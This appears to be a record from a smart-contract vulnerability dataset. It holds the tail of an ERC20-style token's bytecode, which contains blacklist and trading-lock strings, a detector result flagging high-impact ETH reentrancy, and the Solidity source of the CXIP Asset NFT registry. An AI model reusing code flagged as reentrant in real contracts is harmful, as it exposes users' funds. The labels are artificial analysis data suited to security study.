0a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158590613422565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90613442565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118119190613562565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613502565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f5906133a2565b60405180910390fd5b60008111611941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611938906134e2565b60405180910390fd5b611949610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610e78565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da257601560149054906101000a900460ff16611a46576119d8610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c906133c2565b60405180910390fd5b5b601654811115611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8290613402565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590613462565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c1b5760175481611bd084610c2f565b611bda9190613698565b10611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613522565b60405180910390fd5b5b6000611c2630610c2f565b9050600060185482101590506016548210611c415760165491505b808015611c59575060158054906101000a900460ff16155b8015611cb35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ccb5750601560169054906101000a900460ff165b8015611d215750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d775750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9f57611d8582612270565b60004790506000811115611d9d57611d9c47612107565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efc5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f0a5760009050612091565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcd57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120785750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209057600a54600c81905550600b54600d819055505b5b61209d84848484612568565b50505050565b60008383111582906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e29190613380565b60405180910390fd5b50600083856120fa9190613779565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215760028461259590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d360028461259590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fe573d6000803e3d6000fd5b5050565b6000600654821115612249576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612240906133e2565b60405180910390fd5b60006122536125df565b9050612268818461259590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122fb5781602001602082028036833780820191505090505b5090503081600081518110612339577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123db57600080fd5b505afa1580156123ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124139190612def565b8160018151811061244d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611653565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161251895949392919061357d565b600060405180830381600087803b15801561253257600080fd5b505af1158015612546573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125765761257561260a565b5b61258184848461264d565b8061258f5761258e612818565b5b50505050565b60006125d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282c565b905092915050565b60008060006125ec61288f565b91509150612603818361259590919063ffffffff16565b9250505090565b6000600c5414801561261e57506000600d54145b156126285761264b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265f876128f1565b9550955095509550955095506126bd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279e81612a01565b6127a88483612abe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128059190613562565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286a9190613380565b60405180910390fd5b506000838561288291906136ee565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506128c568056bc75e2d6310000060065461259590919063ffffffff16565b8210156128e45760065468056bc75e2d631000009350935050506128ed565b81819350935050505b9091565b600080600080600080600080600061290e8a600c54600d54612af8565b925092509250600061291e6125df565b905060008060006129318e878787612b8e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a3565b905092915050565b60008082846129b29190613698565b9050838110156129f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ee90613482565b60405180910390fd5b8091505092915050565b6000612a0b6125df565b90506000612a228284612c1790919063ffffffff16565b9050612a7681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ad38260065461295990919063ffffffff16565b600681905550612aee816007546129a390919063ffffffff16565b6007819055505050565b600080600080612b246064612b16888a612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b4e6064612b40888b612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b7782612b69858c61295990919063ffffffff16565b61295990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba78589612c1790919063ffffffff16565b90506000612bbe8689612c1790919063ffffffff16565b90506000612bd58789612c1790919063ffffffff16565b90506000612bfe82612bf0858761295990919063ffffffff16565b61295990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c2a5760009050612c8c565b60008284612c38919061371f565b9050828482612c4791906136ee565b14612c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7e906134a2565b60405180910390fd5b809150505b92915050565b6000612ca5612ca084613617565b6135f2565b90508083825260208201905082856020860282011115612cc457600080fd5b60005b85811015612cf45781612cda8882612cfe565b845260208401935060208301925050600181019050612cc7565b5050509392505050565b600081359050612d0d81613d63565b92915050565b600081519050612d2281613d63565b92915050565b60008083601f840112612d3a57600080fd5b8235905067ffffffffffffffff811115612d5357600080fd5b602083019150836020820283011115612d6b57600080fd5b9250929050565b600082601f830112612d8357600080fd5b8135612d93848260208601612c92565b91505092915050565b600081359050612dab81613d7a565b92915050565b600081359050612dc081613d91565b92915050565b600060208284031215612dd857600080fd5b6000612de684828501612cfe565b91505092915050565b600060208284031215612e0157600080fd5b6000612e0f84828501612d13565b91505092915050565b60008060408385031215612e2b57600080fd5b6000612e3985828601612cfe565b9250506020612e4a85828601612cfe565b9150509250929050565b600080600060608486031215612e6957600080fd5b6000612e7786828701612cfe565b9350506020612e8886828701612cfe565b9250506040612e9986828701612db1565b9150509250925092565b60008060408385031215612eb657600080fd5b6000612ec485828601612cfe565b9250506020612ed585828601612db1565b9150509250929050565b600080600060408486031215612ef457600080fd5b600084013567ffffffffffffffff811115612f0e57600080fd5b612f1a86828701612d28565b93509350506020612f2d86828701612d9c565b9150509250925092565b600060208284031215612f4957600080fd5b600082013567ffffffffffffffff811115612f6357600080fd5b612f6f84828501612d72565b91505092915050565b600060208284031215612f8a57600080fd5b6000612f9884828501612d9c565b91505092915050565b600060208284031215612fb357600080fd5b6000612fc184828501612db1565b91505092915050565b60008060008060808587031215612fe057600080fd5b6000612fee87828801612db1565b9450506020612fff87828801612db1565b935050604061301087828801612db1565b925050606061302187828801612db1565b91505092959194509250565b60006130398383613045565b60208301905092915050565b61304e816137ad565b82525050565b61305d816137ad565b82525050565b600061306e82613653565b6130788185613676565b935061308383613643565b8060005b838110156130b457815161309b888261302d565b97506130a683613669565b925050600181019050613087565b5085935050505092915050565b6130ca816137bf565b82525050565b6130d981613802565b82525050565b6130e881613826565b82525050565b60006130f98261365e565b6131038185613687565b9350613113818560208601613838565b61311c81613972565b840191505092915050565b6000613134602383613687565b915061313f82613983565b604082019050919050565b6000613157603f83613687565b9150613162826139d2565b604082019050919050565b600061317a602a83613687565b915061318582613a21565b604082019050919050565b600061319d601c83613687565b91506131a882613a70565b602082019050919050565b60006131c0602683613687565b91506131cb82613a99565b604082019050919050565b60006131e3602283613687565b91506131ee82613ae8565b604082019050919050565b6000613206602383613687565b915061321182613b37565b604082019050919050565b6000613229601b83613687565b915061323482613b86565b602082019050919050565b600061324c602183613687565b915061325782613baf565b604082019050919050565b600061326f602083613687565b915061327a82613bfe565b602082019050919050565b6000613292602983613687565b915061329d82613c27565b604082019050919050565b60006132b5602583613687565b91506132c082613c76565b604082019050919050565b60006132d8602383613687565b91506132e382613cc5565b604082019050919050565b60006132fb602483613687565b915061330682613d14565b604082019050919050565b61331a816137eb565b82525050565b613329816137f5565b82525050565b60006020820190506133446000830184613054565b92915050565b600060208201905061335f60008301846130c1565b92915050565b600060208201905061337a60008301846130d0565b92915050565b6000602082019050818103600083015261339a81846130ee565b905092915050565b600060208201905081810360008301526133bb81613127565b9050919050565b600060208201905081810360008301526133db8161314a565b9050919050565b600060208201905081810360008301526133fb8161316d565b9050919050565b6000602082019050818103600083015261341b81613190565b9050919050565b6000602082019050818103600083015261343b816131b3565b9050919050565b6000602082019050818103600083015261345b816131d6565b9050919050565b6000602082019050818103600083015261347b816131f9565b9050919050565b6000602082019050818103600083015261349b8161321c565b9050919050565b600060208201905081810360008301526134bb8161323f565b9050919050565b600060208201905081810360008301526134db81613262565b9050919050565b600060208201905081810360008301526134fb81613285565b9050919050565b6000602082019050818103600083015261351b816132a8565b9050919050565b6000602082019050818103600083015261353b816132cb565b9050919050565b6000602082019050818103600083015261355b816132ee565b9050919050565b60006020820190506135776000830184613311565b92915050565b600060a0820190506135926000830188613311565b61359f60208301876130df565b81810360408301526135b18186613063565b90506135c06060830185613054565b6135cd6080830184613311565b9695505050505050565b60006020820190506135ec6000830184613320565b92915050565b60006135fc61360d565b9050613608828261386b565b919050565b6000604051905090565b600067ffffffffffffffff82111561363257613631613943565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136a3826137eb565b91506136ae836137eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136e3576136e26138e5565b5b828201905092915050565b60006136f9826137eb565b9150613704836137eb565b92508261371457613713613914565b5b828204905092915050565b600061372a826137eb565b9150613735836137eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561376e5761376d6138e5565b5b828202905092915050565b6000613784826137eb565b915061378f836137eb565b9250828210156137a2576137a16138e5565b5b828203905092915050565b60006137b8826137cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061380d82613814565b9050919050565b600061381f826137cb565b9050919050565b6000613831826137eb565b9050919050565b60005b8381101561385657808201518184015260208101905061383b565b83811115613865576000848401525b50505050565b61387482613972565b810181811067ffffffffffffffff8211171561389357613892613943565b5b80604052505050565b60006138a7826137eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138da576138d96138e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d6c816137ad565b8114613d7757600080fd5b50565b613d83816137bf565b8114613d8e57600080fd5b50565b613d9a816137eb565b8114613da557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cf1117fa2704d52b4788e4ddcbd8997dad35b34038088e2face97a090e9446b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,479 |
0x95735ab59f16c1ccb9429705781440d55cc0b170
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.4;
/*______/\\\\\\\\\__/\\\_______/\\\__/\\\\\\\\\\\__/\\\\\\\\\\\\\___
_____/\\\////////__\///\\\___/\\\/__\/////\\\///__\/\\\/////////\\\_
___/\\\/_____________\///\\\\\\/________\/\\\_____\/\\\_______\/\\\_
__/\\\_________________\//\\\\__________\/\\\_____\/\\\\\\\\\\\\\/__
_\/\\\__________________\/\\\\__________\/\\\_____\/\\\/////////____
_\//\\\_________________/\\\\\\_________\/\\\_____\/\\\_____________
__\///\\\_____________/\\\////\\\_______\/\\\_____\/\\\_____________
____\////\\\\\\\\\__/\\\/___\///\\\__/\\\\\\\\\\\_\/\\\_____________
_______\/////////__\///_______\///__\///////////__\///____________*/
/**
* @title CXIP Asset
* @author CXIP-Labs
* @notice A smart contract for providing a single entry for checking validity of collections and tokens minted through CXIP.
* @dev Listen events broadcasted by this smart contract, to get all collections and NFT being minted with CXIP smart contracts.
*/
contract CxipAsset {
function getRegistry () internal pure returns (ICxipRegistry) {
return ICxipRegistry (0xC267d41f81308D7773ecB3BDd863a902ACC01Ade);
}
using Address for address;
event CollectionAdded (address collectionAddress, address creatorWallet);
event CollectionCreated (address collectionAddress, address creatorWallet);
event TokenAdded (address collectionAddress, address creatorWallet, uint256 tokenId);
event TokenCreated (address collectionAddress, address creatorWallet, uint256 tokenId);
UriType private _defaultUri;
mapping (address => address) _collectionIdentity;
constructor () {
_defaultUri = UriType.ARWEAVE;
}
function defaultUriType () public view returns (UriType) {
return _defaultUri;
}
function AddCollection (address creator, address collection, bool fresh) public {
address identityAddress = msg.sender;
require (
ICxipProvenance (getRegistry ().getProvenance ()).isIdentityValid (identityAddress),
'CXIP: invalid Identity contract'
);
ICxipIdentity identity = ICxipIdentity (identityAddress);
require (identity.isWalletRegistered (creator), 'CXIP: creator wallet not owner');
require (identity.isCollectionRegistered (collection), 'CXIP: not registered collection');
bool certified = false;
if (fresh) {
require (identity.isNew (), 'CXIP: not a new collection');
certified = true;
emit CollectionCreated (collection, creator);
} else {
emit CollectionAdded (collection, creator);
}
_collectionIdentity [collection] = identityAddress;
}
function AddToken (address creator, address collection, uint256 tokenId, bool fresh) public {
address identityAddress = msg.sender;
require (
ICxipProvenance (getRegistry ().getProvenance ()).isIdentityValid (identityAddress),
'CXIP: invalid Identity contract'
);
ICxipIdentity identity = ICxipIdentity (identityAddress);
require (identity.isWalletRegistered (creator), 'CXIP: creator wallet not owner');
require (identity.isCollectionRegistered (collection), 'CXIP: not registered collection');
require (identity.isTokenRegistered (collection, tokenId), 'CXIP: not registered token');
bool certified = false;
if (fresh) {
require (identity.isNew (), 'CXIP: not a new collection token');
certified = true;
emit TokenCreated (collection, creator, tokenId);
} else {
emit TokenAdded (collection, creator, tokenId);
}
}
function _getIdentity (address collection) internal view returns (ICxipIdentity) {
address identityAddress = _collectionIdentity [collection];
return ICxipIdentity (identityAddress);
}
function getCollectionIdentity (address collection) public view returns (address) {
ICxipIdentity identity = _getIdentity (collection);
return address (identity);
}
function getCollectionType (address collection) public view returns (InterfaceType) {
ICxipIdentity identity = _getIdentity (collection);
require (!address (identity).isZero (), 'CXIP: not registered collection');
return identity.getCollectionType (collection);
}
function isCollectionOpen (address collection) public view returns (bool) {
ICxipIdentity identity = _getIdentity (collection);
if (address (identity).isZero ()) {
return false;
}
return identity.isCollectionOpen (collection);
}
function isCollectionCertified (address collection) public view returns (bool) {
ICxipIdentity identity = _getIdentity (collection);
if (address (identity).isZero ()) {
return false;
}
return identity.isCollectionCertified (collection);
}
function isCollectionRegistered (address collection) public view returns (bool) {
ICxipIdentity identity = _getIdentity (collection);
if (address (identity).isZero ()) {
return false;
}
return identity.isCollectionRegistered (collection);
}
function isTokenCertified (address collection, uint256 tokenId) public view returns (bool) {
ICxipIdentity identity = _getIdentity (collection);
if (address (identity).isZero ()) {
return false;
}
return identity.isTokenCertified (collection, tokenId);
}
function isTokenRegistered (address collection, uint256 tokenId) public view returns (bool) {
ICxipIdentity identity = _getIdentity (collection);
if (address (identity).isZero ()) {
return false;
}
return identity.isTokenRegistered (collection, tokenId);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470);
}
function isZero(address account) internal pure returns (bool) {
return (account == address(0));
}
}
struct CollectionData {
bytes32 name;
bytes32 name2;
bytes32 symbol;
address royalties;
uint96 bps;
}
interface ICxipERC721 {
function arweaveURI(uint256 tokenId) external view returns (string memory);
function contractURI() external view returns (string memory);
function creator(uint256 tokenId) external view returns (address);
function httpURI(uint256 tokenId) external view returns (string memory);
function ipfsURI(uint256 tokenId) external view returns (string memory);
function name() external view returns (string memory);
function payloadHash(uint256 tokenId) external view returns (bytes32);
function payloadSignature(uint256 tokenId) external view returns (Verification memory);
function payloadSigner(uint256 tokenId) external view returns (address);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
/* Disabled due to tokenEnumeration not enabled.
function tokensOfOwner(
address wallet
) external view returns (uint256[] memory);
*/
function verifySHA256(bytes32 hash, bytes calldata payload) external pure returns (bool);
function approve(address to, uint256 tokenId) external;
function burn(uint256 tokenId) external;
function init(address newOwner, CollectionData calldata collectionData) external;
/* Disabled since this flow has not been agreed on.
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external payable;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external payable;
function setApprovalForAll(address to, bool approved) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external payable;
function transferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) external payable;
function cxipMint(uint256 id, TokenData calldata tokenData) external returns (uint256);
function setApprovalForAll(
address from,
address to,
bool approved
) external;
function setName(bytes32 newName, bytes32 newName2) external;
function setSymbol(bytes32 newSymbol) external;
function transferOwnership(address newOwner) external;
/*
// Disabled due to tokenEnumeration not enabled.
function balanceOf(address wallet) external view returns (uint256);
*/
function baseURI() external view returns (string memory);
function getApproved(uint256 tokenId) external view returns (address);
function getIdentity() external view returns (address);
function isApprovedForAll(address wallet, address operator) external view returns (bool);
function isOwner() external view returns (bool);
function owner() external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
/* Disabled due to tokenEnumeration not enabled.
function tokenByIndex(uint256 index) external view returns (uint256);
*/
/* Disabled due to tokenEnumeration not enabled.
function tokenOfOwnerByIndex(
address wallet,
uint256 index
) external view returns (uint256);
*/
/* Disabled due to tokenEnumeration not enabled.
function totalSupply() external view returns (uint256);
*/
function totalSupply() external view returns (uint256);
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external pure returns (bytes4);
}
interface ICxipIdentity {
function addSignedWallet(
address newWallet,
uint8 v,
bytes32 r,
bytes32 s
) external;
function addWallet(address newWallet) external;
function connectWallet() external;
function createERC721Token(
address collection,
uint256 id,
TokenData calldata tokenData,
Verification calldata verification
) external returns (uint256);
function createERC721Collection(
bytes32 saltHash,
address collectionCreator,
Verification calldata verification,
CollectionData calldata collectionData
) external returns (address);
function createCustomERC721Collection(
bytes32 saltHash,
address collectionCreator,
Verification calldata verification,
CollectionData calldata collectionData,
bytes32 slot,
bytes memory bytecode
) external returns (address);
function init(address wallet, address secondaryWallet) external;
function getAuthorizer(address wallet) external view returns (address);
function getCollectionById(uint256 index) external view returns (address);
function getCollectionType(address collection) external view returns (InterfaceType);
function getWallets() external view returns (address[] memory);
function isCollectionCertified(address collection) external view returns (bool);
function isCollectionRegistered(address collection) external view returns (bool);
function isNew() external view returns (bool);
function isOwner() external view returns (bool);
function isTokenCertified(address collection, uint256 tokenId) external view returns (bool);
function isTokenRegistered(address collection, uint256 tokenId) external view returns (bool);
function isWalletRegistered(address wallet) external view returns (bool);
function listCollections(uint256 offset, uint256 length) external view returns (address[] memory);
function nextNonce(address wallet) external view returns (uint256);
function totalCollections() external view returns (uint256);
function isCollectionOpen(address collection) external pure returns (bool);
}
interface ICxipProvenance {
function createIdentity(
bytes32 saltHash,
address wallet,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256, address);
function createIdentityBatch(
bytes32 saltHash,
address[] memory wallets,
uint8[] memory V,
bytes32[] memory RS
) external returns (uint256, address);
function getIdentity() external view returns (address);
function getWalletIdentity(address wallet) external view returns (address);
function informAboutNewWallet(address newWallet) external;
function isIdentityValid(address identity) external view returns (bool);
function nextNonce(address wallet) external view returns (uint256);
}
interface ICxipRegistry {
function getAsset() external view returns (address);
function getAssetSigner() external view returns (address);
function getAssetSource() external view returns (address);
function getCopyright() external view returns (address);
function getCopyrightSource() external view returns (address);
function getCustomSource(bytes32 name) external view returns (address);
function getCustomSourceFromString(string memory name) external view returns (address);
function getERC1155CollectionSource() external view returns (address);
function getERC721CollectionSource() external view returns (address);
function getIdentitySource() external view returns (address);
function getPA1D() external view returns (address);
function getPA1DSource() external view returns (address);
function getProvenance() external view returns (address);
function getProvenanceSource() external view returns (address);
function owner() external view returns (address);
function setAsset(address proxy) external;
function setAssetSigner(address source) external;
function setAssetSource(address source) external;
function setCopyright(address proxy) external;
function setCopyrightSource(address source) external;
function setCustomSource(string memory name, address source) external;
function setERC1155CollectionSource(address source) external;
function setERC721CollectionSource(address source) external;
function setIdentitySource(address source) external;
function setPA1D(address proxy) external;
function setPA1DSource(address source) external;
function setProvenance(address proxy) external;
function setProvenanceSource(address source) external;
}
// This is a 256 value limit (uint8)
enum InterfaceType {
NULL, // 0
ERC20, // 1
ERC721, // 2
ERC1155 // 3
}
struct Token {
address collection;
uint256 tokenId;
InterfaceType tokenType;
address creator;
}
struct TokenData {
bytes32 payloadHash;
Verification payloadSignature;
address creator;
bytes32 arweave;
bytes11 arweave2;
bytes32 ipfs;
bytes14 ipfs2;
}
// This is a 256 value limit (uint8)
enum UriType {
ARWEAVE, // 0
IPFS, // 1
HTTP // 2
}
struct Verification {
bytes32 r;
bytes32 s;
uint8 v;
}
|
